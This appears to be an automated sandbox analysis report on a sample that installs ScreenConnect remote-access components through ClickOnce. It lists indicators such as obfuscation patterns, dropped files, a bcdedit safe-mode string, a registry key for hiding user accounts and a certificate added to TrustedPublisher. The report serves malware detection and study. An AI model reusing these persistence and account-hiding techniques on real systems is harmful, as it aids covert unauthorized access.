PE file contains an invalid checksum

Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Static PE information: real checksum: 0x14df5 should be: 0x175cb

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Code function: 0_2_00761BC0 push ecx; ret	0_2_00761BD3
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF93699D2A5 pushad ; iretd	1_2_00007FF93699D2A6
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF936AB845E push eax; ret	1_2_00007FF936AB846D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF936AB842E pushad ; ret	1_2_00007FF936AB845D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FF936AB7D00 push eax; retf	1_2_00007FF936AB7D1D
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Code function: 4_2_00007FF936AC8071 pushad ; retf	4_2_00007FF936AC809D
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Code function: 4_2_00007FF936AB30B2 pushad ; iretd	4_2_00007FF936AB30B3
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Code function: 4_2_00007FF936AB2E40 pushad ; ret	4_2_00007FF936AB2E73
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Code function: 4_2_00007FF936AC845E push eax; ret	4_2_00007FF936AC846D
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Code function: 4_2_00007FF936AC8430 pushad ; ret	4_2_00007FF936AC845D
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Code function: 4_2_00007FF936D9E725 pushad ; iretd	4_2_00007FF936D9E7B9
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Code function: 4_2_00007FF936D97C5E push eax; retf	4_2_00007FF936D97C6D
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Code function: 4_2_00007FF936D97C2E pushad ; retf	4_2_00007FF936D97C5D

Persistence and Installation Behavior

Drops PE files

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.ClientService.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..vice_4b14c015c87c1ad8_0018.0004_none_04f4a774935ed06c\ScreenConnect.ClientService.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..dows_4b14c015c87c1ad8_0018.0004_none_5818e70d39ed8031\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..core_4b14c015c87c1ad8_0018.0004_none_53a10f2bfd9f6d01\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..ient_4b14c015c87c1ad8_0018.0004_none_b4e7e84fe683500e\ScreenConnect.WindowsClient.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.WindowsClient.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.ClientService.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..ient_4b14c015c87c1ad8_0018.0004_none_e9b66cfe0ceec305\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.ClientService.exe	Jump to dropped file

May use bcdedit to modify the Windows boot settings

Source: ScreenConnect.ClientService.dll.1.dr	Binary or memory string: bcdedit.exeg/copy {current} /d "Reboot and Reconnect Safe Mode"7{.{8}-.{4}-.{4}-.{4}-.{12}}
Source: ScreenConnect.ClientService.dll0.1.dr	Binary or memory string: bcdedit.exeg/copy {current} /d "Reboot and Reconnect Safe Mode"7{.{8}-.{4}-.{4}-.{4}-.{12}}

Boot Survival

Creates or modifies windows services

Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Contains functionality to hide user accounts

Source: ScreenConnect.WindowsClient.exe, 00000004.00000002.1496697785.0000000000D20000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 00000004.00000002.1496898405.000000000288E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.ClientService.exe, 00000005.00000002.1445573934.0000000005112000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.ClientService.exe, 00000005.00000002.1444630870.0000000000BE2000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.ClientService.dll.1.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.Windows.dll0.1.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.ClientService.dll0.1.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.Windows.dll.1.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList

Stores large binary data to the registry

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C Blob

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
